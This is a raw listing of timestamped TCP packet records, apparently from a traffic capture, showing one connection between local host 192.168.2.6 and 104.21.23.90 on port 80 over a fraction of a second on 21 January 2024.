Jan 21, 2024 17:12:01.317826986 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.317830086 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.317853928 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.318597078 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.318649054 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.318667889 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.318681955 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.318694115 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.318706989 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.318722010 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.318748951 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.319494009 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.319506884 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.319518089 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.319531918 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.319540024 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.319545031 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.319571018 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.320260048 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.320308924 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.320311069 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.320324898 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.320337057 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.320349932 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.320363998 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.320395947 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.321115971 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.321129084 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.321162939 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.321190119 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.321202993 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.321216106 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.321257114 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.321933031 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.321980000 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.321980000 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.321994066 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.322005987 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.322019100 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.322026968 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.322069883 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.322782040 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.322794914 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.322832108 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.322833061 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.322848082 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.322860003 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.322894096 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.323641062 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.323653936 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.323664904 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.323683977 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.323688030 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.323698044 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.323704004 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.323760986 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.324410915 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.324456930 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.324470043 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.324482918 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.324496031 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.324498892 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.324517012 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.325284004 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.325295925 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.325308084 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.325321913 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.325330973 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.325335979 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.325350046 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.325354099 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.325386047 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.326221943 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.326235056 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.326272011 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.326284885 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.326297998 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.326309919 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.326323032 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.326327085 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.326351881 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.327213049 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.327225924 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.327239037 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.327251911 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.327258110 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.327265978 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.327276945 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.327280045 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.327306986 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.328105927 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.328119040 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.328130960 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.328144073 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.328150034 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.328159094 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.328171968 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.328172922 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.328197956 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.328974962 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.328988075 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.329024076 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.329035997 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.329051018 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.329061985 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.329076052 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.329082012 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.329103947 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.329925060 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.329938889 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.329951048 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.329962969 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.329972029 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.329977036 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.329987049 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.330018044 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.330749035 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.330763102 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.330775023 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.330786943 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.330796957 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.330801010 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.330813885 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.330832005 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.330847979 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.331615925 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.331629992 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.331640959 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.331653118 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.331664085 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.331665993 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.331679106 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.331696987 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.331721067 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.332462072 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.332534075 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.332546949 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.332559109 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.332571983 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.332581043 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.332585096 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.332602024 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.332629919 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.333431005 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.333442926 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.333455086 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.333467007 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.333476067 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.333479881 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.333492994 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.333513021 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.333539963 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.334337950 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.334352016 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.334362984 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.334377050 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.334384918 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.334391117 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.334403992 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.334410906 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.334448099 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.335073948 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.335113049 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.335161924 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.335189104 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.335201979 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.335212946 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.335226059 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.335237026 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.335268021 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.336009026 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.336023092 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.336034060 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.336046934 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.336052895 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.336061001 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.336074114 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.336077929 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.336121082 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.336848974 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.336863041 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.336874008 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.336889029 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.336899996 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.336903095 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.336918116 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.336927891 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.336963892 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.337625980 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.337639093 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.337682009 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.337867975 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.337882996 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.337922096 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.338005066 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.338017941 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.338030100 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.338042021 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.338056087 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.338058949 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.338071108 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.338895082 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.338908911 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.338921070 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.338932991 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.338939905 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.338946104 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.338956118 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.338960886 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.338977098 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.338984966 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.339020967 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.339701891 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.339807987 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.339822054 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.339839935 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.339849949 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.339854002 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.339869022 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.339883089 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.339883089 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.339907885 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.340682983 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.340698004 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.340709925 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.340722084 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.340729952 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.340734959 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.340749979 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.340751886 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.340763092 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.340779066 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.340814114 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.341470957 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.341484070 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.341523886 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.341599941 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.341613054 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.341624975 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.341643095 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.341651917 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.341656923 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.341682911 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.342327118 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.342370987 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.342422009 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.342433929 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.342444897 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.342458010 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.342462063 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.342470884 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.342483044 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.342490911 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.342528105 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.343241930 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.343347073 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.343359947 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.343372107 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.343384027 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.343389988 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.343398094 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.343400955 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.343410969 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.343432903 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.344069958 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.344115973 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.344193935 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.344337940 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.344350100 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.344362020 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.344373941 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.344378948 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.344388008 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.344399929 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.344399929 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.344422102 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.345165968 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.345177889 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.345189095 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.345201015 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.345211029 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.345215082 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.345227957 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.345235109 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.345247030 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.345254898 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.345261097 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.345288992 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.346023083 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.346071005 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.346136093 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.346148968 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.346159935 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.346172094 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.346184969 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.346191883 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.346198082 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.346199989 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.346211910 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.346247911 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.346997023 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.347043991 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.347136974 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.347150087 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.347161055 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.347172976 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.347182989 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.347187042 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.347199917 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.347208977 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.347213984 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.347245932 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.348015070 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.348026991 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.348037958 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.348051071 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.348062038 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.348063946 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.348078012 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.348078966 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.348093033 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.348104954 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.348105907 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.348141909 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.349009991 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.349021912 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.349033117 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.349045992 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.349059105 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.349061012 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.349070072 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.349081039 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.349085093 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.349097013 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.349097967 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.349127054 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.349864960 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.349879026 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.349896908 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.349909067 CET	49700	80	192.168.2.6	104.21.23.90
